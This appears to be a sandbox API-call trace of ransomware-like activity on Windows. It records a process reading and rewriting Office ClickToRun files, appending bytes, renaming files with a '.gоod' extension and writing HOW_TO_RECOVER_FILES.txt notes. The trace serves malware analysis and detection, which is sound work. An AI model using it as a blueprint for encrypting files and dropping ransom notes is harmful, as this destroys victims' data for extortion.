[0084.820] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\stream.x86.en-us.man.dat" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\en-us.16\\stream.x86.en-us.man.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0084.820] GetFileType (hFile=0x768) returned 0x1 [0084.820] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9990) returned 1 [0084.820] GetFileType (hFile=0x768) returned 0x1 [0084.820] SetFilePointer (in: hFile=0x768, lDistanceToMove=0, lpDistanceToMoveHigh=0x10f9b78*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x10f9b78*=0) returned 0x108693 [0084.821] WriteFile (in: hFile=0x768, lpBuffer=0x345a3b0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x10f9a68, lpOverlapped=0x0 | out: lpBuffer=0x345a3b0*, lpNumberOfBytesWritten=0x10f9a68*=0x10, lpOverlapped=0x0) returned 1 [0084.823] CloseHandle (hObject=0x768) returned 1 [0084.823] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\stream.x86.en-us.man.dat", nBufferLength=0x105, lpBuffer=0x10f9500, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\stream.x86.en-us.man.dat", lpFilePart=0x0) returned 0x7a [0084.823] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9a20) returned 1 [0084.823] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\stream.x86.en-us.man.dat" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\en-us.16\\stream.x86.en-us.man.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0084.823] GetFileType (hFile=0x768) returned 0x1 [0084.823] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9990) returned 1 [0084.823] GetFileType (hFile=0x768) returned 0x1 [0084.823] ReadFile (in: hFile=0x768, lpBuffer=0x345c6f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x10f9af8, lpOverlapped=0x0 | out: lpBuffer=0x345c6f0*, lpNumberOfBytesRead=0x10f9af8*=0x1000, lpOverlapped=0x0) returned 1 [0084.837] CloseHandle (hObject=0x768) returned 1 [0084.837] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\stream.x86.en-us.man.dat", nBufferLength=0x105, lpBuffer=0x10f9500, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\stream.x86.en-us.man.dat", lpFilePart=0x0) returned 0x7a [0084.837] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9a20) returned 1 [0084.837] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\stream.x86.en-us.man.dat" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\en-us.16\\stream.x86.en-us.man.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0084.837] GetFileType (hFile=0x768) returned 0x1 [0084.838] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9990) returned 1 [0084.838] GetFileType (hFile=0x768) returned 0x1 [0084.838] WriteFile (in: hFile=0x768, lpBuffer=0x345b3c8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x10f9ba8, lpOverlapped=0x0 | out: lpBuffer=0x345b3c8*, lpNumberOfBytesWritten=0x10f9ba8*=0x1010, lpOverlapped=0x0) returned 1 [0084.838] CloseHandle (hObject=0x768) returned 1 [0084.838] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\stream.x86.en-us.man.dat", nBufferLength=0x105, lpBuffer=0x10f9650, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\stream.x86.en-us.man.dat", lpFilePart=0x0) returned 0x7a [0084.838] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\stream.x86.en-us.man.dat.gоod", nBufferLength=0x105, lpBuffer=0x10f9650, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\stream.x86.en-us.man.dat.gоod", lpFilePart=0x0) returned 0x7f [0084.838] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9ae0) returned 1 [0084.838] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\stream.x86.en-us.man.dat" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\en-us.16\\stream.x86.en-us.man.dat"), fInfoLevelId=0x0, lpFileInformation=0x10f9bc0 | out: lpFileInformation=0x10f9bc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a49e573, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1a49e573, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x2ec84554, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1086a3)) returned 1 [0084.838] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9aa0) returned 1 [0084.838] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\stream.x86.en-us.man.dat" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\en-us.16\\stream.x86.en-us.man.dat"), lpNewFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\stream.x86.en-us.man.dat.gоod" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\en-us.16\\stream.x86.en-us.man.dat.gоod")) returned 1 [0084.839] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x10f97c0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x7a [0084.839] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9ce0) returned 1 [0084.839] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\en-us.16\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x768 [0084.839] GetFileType (hFile=0x768) returned 0x1 [0084.839] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9c50) returned 1 [0084.839] GetFileType (hFile=0x768) returned 0x1 [0084.840] WriteFile (in: hFile=0x768, lpBuffer=0x34db138*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x10f9da8, lpOverlapped=0x0 | out: lpBuffer=0x34db138*, lpNumberOfBytesWritten=0x10f9da8*=0x5d0, lpOverlapped=0x0) returned 1 [0084.841] CloseHandle (hObject=0x768) returned 1 [0084.841] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9d70) returned 1 [0084.841] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16", nBufferLength=0x105, lpBuffer=0x10f9810, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16", lpFilePart=0x0) returned 0x62 [0084.841] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\*", lpFindFileData=0x10f9a90 | out: lpFindFileData=0x10f9a90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19bd39c1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1a025ed3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1a025ed3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1dc40 [0085.288] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19bd39c1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1a025ed3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1a025ed3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0085.301] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19bd39c1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x19bd39c1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xdd889800, ftLastWriteTime.dwHighDateTime=0x1d32052, nFileSizeHigh=0x0, nFileSizeLow=0x5b31, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDescriptor.x-none.xml", cAlternateFileName="MASTER~1.XML")) returned 1 [0085.301] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19bf9d35, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x19bf9d35, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x6aa2800, ftLastWriteTime.dwHighDateTime=0x1d32055, nFileSizeHigh=0x0, nFileSizeLow=0x66, dwReserved0=0x0, dwReserved1=0x0, cFileName="s320.hash", cAlternateFileName="S320~1.HAS")) returned 1 [0085.303] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19bf9d35, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x19bf9d35, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x6aa2800, ftLastWriteTime.dwHighDateTime=0x1d32055, nFileSizeHigh=0x0, nFileSizeLow=0x7e0a5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.Platform.x-none.man.xml", cAlternateFileName="STREAM~1.XML")) returned 1 [0085.303] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19fffcc2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x19fffcc2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x316a100, ftLastWriteTime.dwHighDateTime=0x1d32055, nFileSizeHigh=0x0, nFileSizeLow=0x80, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.x86.x-none.hash", cAlternateFileName="STREAM~1.HAS")) returned 1 [0085.305] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19fffcc2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x19fffcc2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x447ce00, ftLastWriteTime.dwHighDateTime=0x1d32055, nFileSizeHigh=0x0, nFileSizeLow=0x460b47, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.x86.x-none.man.dat", cAlternateFileName="STREAM~1.DAT")) returned 1 [0085.318] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0085.318] FindClose (in: hFindFile=0x1ec1dc40 | out: hFindFile=0x1ec1dc40) returned 1 [0085.319] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9cb0) returned 1 [0085.319] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9c70) returned 1 [0085.319] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9d70) returned 1 [0085.319] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16", nBufferLength=0x105, lpBuffer=0x10f9810, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16", lpFilePart=0x0) returned 0x62 [0085.319] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\*", lpFindFileData=0x10f9a90 | out: lpFindFileData=0x10f9a90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19bd39c1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1a025ed3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1a025ed3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec32b90 [0085.320] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19bd39c1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1a025ed3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1a025ed3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0085.320] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19bd39c1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x19bd39c1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xdd889800, ftLastWriteTime.dwHighDateTime=0x1d32052, nFileSizeHigh=0x0, nFileSizeLow=0x5b31, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDescriptor.x-none.xml", cAlternateFileName="MASTER~1.XML")) returned 1 [0085.321] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19bf9d35, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x19bf9d35, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x6aa2800, ftLastWriteTime.dwHighDateTime=0x1d32055, nFileSizeHigh=0x0, nFileSizeLow=0x66, dwReserved0=0x0, dwReserved1=0x0, cFileName="s320.hash", cAlternateFileName="S320~1.HAS")) returned 1 [0085.321] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19bf9d35, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x19bf9d35, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x6aa2800, ftLastWriteTime.dwHighDateTime=0x1d32055, nFileSizeHigh=0x0, nFileSizeLow=0x7e0a5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.Platform.x-none.man.xml", cAlternateFileName="STREAM~1.XML")) returned 1 [0085.321] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19fffcc2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x19fffcc2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x316a100, ftLastWriteTime.dwHighDateTime=0x1d32055, nFileSizeHigh=0x0, nFileSizeLow=0x80, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.x86.x-none.hash", cAlternateFileName="STREAM~1.HAS")) returned 1 [0085.321] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19fffcc2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x19fffcc2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x447ce00, ftLastWriteTime.dwHighDateTime=0x1d32055, nFileSizeHigh=0x0, nFileSizeLow=0x460b47, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.x86.x-none.man.dat", cAlternateFileName="STREAM~1.DAT")) returned 1 [0085.321] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19fffcc2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x19fffcc2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x447ce00, ftLastWriteTime.dwHighDateTime=0x1d32055, nFileSizeHigh=0x0, nFileSizeLow=0x460b47, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.x86.x-none.man.dat", cAlternateFileName="STREAM~1.DAT")) returned 0 [0085.321] FindClose (in: hFindFile=0x1ec32b90 | out: hFindFile=0x1ec32b90) returned 1 [0085.322] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9cb0) returned 1 [0085.322] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9c70) returned 1 [0085.322] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\MasterDescriptor.x-none.xml", nBufferLength=0x105, lpBuffer=0x10f9650, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\MasterDescriptor.x-none.xml", lpFilePart=0x0) returned 0x7e [0085.322] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9b20) returned 1 [0085.322] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\MasterDescriptor.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\x-none.16\\masterdescriptor.x-none.xml"), fInfoLevelId=0x0, lpFileInformation=0x343e578 | out: lpFileInformation=0x343e578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19bd39c1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x19bd39c1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xdd889800, ftLastWriteTime.dwHighDateTime=0x1d32052, nFileSizeHigh=0x0, nFileSizeLow=0x5b31)) returned 1 [0085.323] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9ae0) returned 1 [0085.323] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\MasterDescriptor.x-none.xml", nBufferLength=0x105, lpBuffer=0x10f9500, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\MasterDescriptor.x-none.xml", lpFilePart=0x0) returned 0x7e [0085.323] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9a20) returned 1 [0085.323] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\MasterDescriptor.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\x-none.16\\masterdescriptor.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0085.323] GetFileType (hFile=0x768) returned 0x1 [0085.323] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9990) returned 1 [0085.323] GetFileType (hFile=0x768) returned 0x1 [0085.323] SetFilePointer (in: hFile=0x768, lDistanceToMove=4096, lpDistanceToMoveHigh=0x10f9b78*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x10f9b78*=0) returned 0x1000 [0085.323] ReadFile (in: hFile=0x768, lpBuffer=0x343eaa0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x10f9b48, lpOverlapped=0x0 | out: lpBuffer=0x343eaa0*, lpNumberOfBytesRead=0x10f9b48*=0x1000, lpOverlapped=0x0) returned 1 [0085.325] CloseHandle (hObject=0x768) returned 1 [0085.325] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\MasterDescriptor.x-none.xml", nBufferLength=0x105, lpBuffer=0x10f9500, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\MasterDescriptor.x-none.xml", lpFilePart=0x0) returned 0x7e [0085.325] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9a20) returned 1 [0085.325] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\MasterDescriptor.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\x-none.16\\masterdescriptor.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0085.325] GetFileType (hFile=0x768) returned 0x1 [0085.325] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9990) returned 1 [0085.325] GetFileType (hFile=0x768) returned 0x1 [0085.325] SetFilePointer (in: hFile=0x768, lDistanceToMove=0, lpDistanceToMoveHigh=0x10f9b78*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x10f9b78*=0) returned 0x5b31 [0085.326] WriteFile (in: hFile=0x768, lpBuffer=0x3441760*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x10f9a68, lpOverlapped=0x0 | out: lpBuffer=0x3441760*, lpNumberOfBytesWritten=0x10f9a68*=0x10, lpOverlapped=0x0) returned 1 [0085.326] CloseHandle (hObject=0x768) returned 1 [0085.327] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\MasterDescriptor.x-none.xml", nBufferLength=0x105, lpBuffer=0x10f9500, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\MasterDescriptor.x-none.xml", lpFilePart=0x0) returned 0x7e [0085.327] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9a20) returned 1 [0085.327] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\MasterDescriptor.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\x-none.16\\masterdescriptor.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0085.327] GetFileType (hFile=0x768) returned 0x1 [0085.327] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9990) returned 1 [0085.327] GetFileType (hFile=0x768) returned 0x1 [0085.327] ReadFile (in: hFile=0x768, lpBuffer=0x3445c48, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x10f9af8, lpOverlapped=0x0 | out: lpBuffer=0x3445c48*, lpNumberOfBytesRead=0x10f9af8*=0x1000, lpOverlapped=0x0) returned 1 [0085.340] CloseHandle (hObject=0x768) returned 1 [0085.340] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\MasterDescriptor.x-none.xml", nBufferLength=0x105, lpBuffer=0x10f9500, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\MasterDescriptor.x-none.xml", lpFilePart=0x0) returned 0x7e [0085.340] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9a20) returned 1 [0085.340] CreateFileW 